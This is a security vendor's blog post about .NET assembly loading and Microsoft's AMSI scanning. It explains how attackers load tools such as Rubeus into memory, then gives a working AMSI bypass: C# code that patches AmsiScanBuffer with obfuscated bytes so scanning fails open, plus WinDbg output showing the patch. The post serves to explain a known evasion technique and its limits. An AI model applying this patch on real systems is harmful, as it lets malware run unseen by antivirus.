07 October 2022

AMSI Assembly Scanning

 

We previously covered Anti-Malware Scanning Interface (AMSI) and the security benefits it provides. In summary, it allows for Anti-Virus scanning of script content, such as PowerShell.

Attackers had been using malicious PowerShell code for quite a while to conduct their operations, but as PowerShell logging improved and AMSI started detecting these scripts, the trend has been to move towards .NET Malware.

 

What is an assembly?

An assembly is the building block of a .NET application. Assembly’s can be compiled as a self-contained .exe file, or a DLL file.

 

So what attack are we talking about here?

 Let’s say you’re an attacker, and you want to run a malicious program on an endpoint. Let’s use Rubeus as an example. If you run the application from disk without modification it will likely be detected by Anti-Virus software.

To get around this, we can load the application directly into memory. This is pretty trivial to do with .NET code. We just need to;

  • Serialise our copy of Rubeus. Serialisation is the process of translating a data structure into a format where it can be stored. So we essentially convert Rubeus.exe to a very long string of text.
  • Load our serialised application into memory. This can be done in .NET by using the following method:

Assembly.Load(AssemblyBytes)

For attackers, this is great. We can load all our malicious code in memory without touching disk or being detected.

Microsoft did cotton onto the effectiveness of this technique, and with .NET Framework version 4.8 added the ability to scan code that Assembly.Load executes ☹

 

Back to the Drawing Board

 OK, so it was a good technique whilst it lasted. Is there a way we can still use it?

 

Understanding AMSI

AMSI works by injecting code into the address space of the monitored application. We can observe this behaviour by looking at libraries being loaded by the application;

Amsi.dll has been added into the address space of our application, and I certainly didn’t request it!

This already sets off a red flag, as since the application is under our control, we can modify the contents of its memory including amsi.dll.

If we can prevent amsi.dll from scanning our malicious code, then we can continue loading our code without detection 😊

 

Examining AMSI.DLL

 First, we need to determine how we can stop AMSI from scanning.

Checking Microsoft’s documentation we can see that the AmsiScanBuffer has the following description; “Scans a buffer-full of content for malware”. So that appears quite pivotal to the scanning process.

Next, we can examine the process using IDA Pro disassembler. The code has debugging symbols enabled, so we can go directly to the AmsiScanBuffer function.

Based on the graph, it looks we can determine if something happens the value 0x80070057 is placed into the EAX register. It turns out this is the code used to indicate scanning has failed. In that event, the system fails open allowing our malicious code to execute without detection.

So let’s see if we can make that happen with some C# code;

The below snippet of code locates the AmsiScanBuffer function in amsi.dll and sets it’s memory to writable so we can tamper with it;

var lib = LoadLibrary(“amsi.dll”);

var memloc = GetProcAddress(lib, “AmsiScanBuffer”);

_ = VirtualProtect(memloc, (UIntPtr)patch.Length, 0x40, out uint oldProtect);

Now we just need to overwrite the contents of the function so it always returns the value 0x80070057. This technique is pretty well known, so we will need to obscure our intentions slightly. We can do this with a bit of assembly code to put the value in EAX and return;

nasm > mov eax, 0x923B56CF

00000000  B8CF563B92        mov eax,0x923b56cf

nasm > sub eax, 0x12345678

00000000  2D78563412        sub eax,0x12345678

nasm > ret

00000000  C3                ret

Back in our C# code we can copy the assembly code into memory;

var p = new byte[] { 0xB8, 0xCF, 0x56, 0x3B, 0x92, 0x2D, 0x78, 0x56, 0x34, 0x12, 0xC3 };

Marshal.Copy(p, 0, memloc, p.Length);

 

The Result

 Monitoring the applications memory using WinDBG, we can see the effect our code has. Before tampering, amsi.dll is doing its thing;

 

0:000> u amsi!AmsiScanBuffer

amsi!AmsiScanBuffer:

00007ff9`48f235e0 4c8bdc          mov     r11,rsp

00007ff9`48f235e3 49895b08        mov     qword ptr [r11+8],rbx

00007ff9`48f235e7 49896b10        mov     qword ptr [r11+10h],rbp

00007ff9`48f235eb 49897318        mov     qword ptr [r11+18h],rsi

00007ff9`48f235ef 57              push    rdi

00007ff9`48f235f0 4156            push    r14

00007ff9`48f235f2 4157            push    r15

00007ff9`48f235f4 4883ec70        sub     rsp,70h

 

 

After tampering we can see the application will always return 0x80070057 and therefore does not scan any malicious code.

 

0:008> u amsi!AmsiScanBuffer

amsi!AmsiScanBuffer:

00007ff9`48f235e0 b8cf563b92      mov     eax,923B56CFh

00007ff9`48f235e5 2d78563412      sub     eax,12345678h

00007ff9`48f235ea c3              ret

00007ff9`48f235eb 49897318        mov     qword ptr [r11+18h],rsi

00007ff9`48f235ef 57              push    rdi

00007ff9`48f235f0 4156            push    r14

00007ff9`48f235f2 4157            push    r15

00007ff9`48f235f4 4883ec70        sub     rsp,70h

 

Closing Thoughts

Userland security controls are prone to tampering. That’s not to say AMSI is completely ineffective. It’s still a useful security control, but due to it’s design it has limitations that you should be aware of. There are a number of methods to bypass AMSI, and Anti-Virus vendors frequently add new detections for these techniques. For now the game of cat and mouse continues…

 

How can IRM help protect your business?

Please contact sales@irmsecurity.com for more information.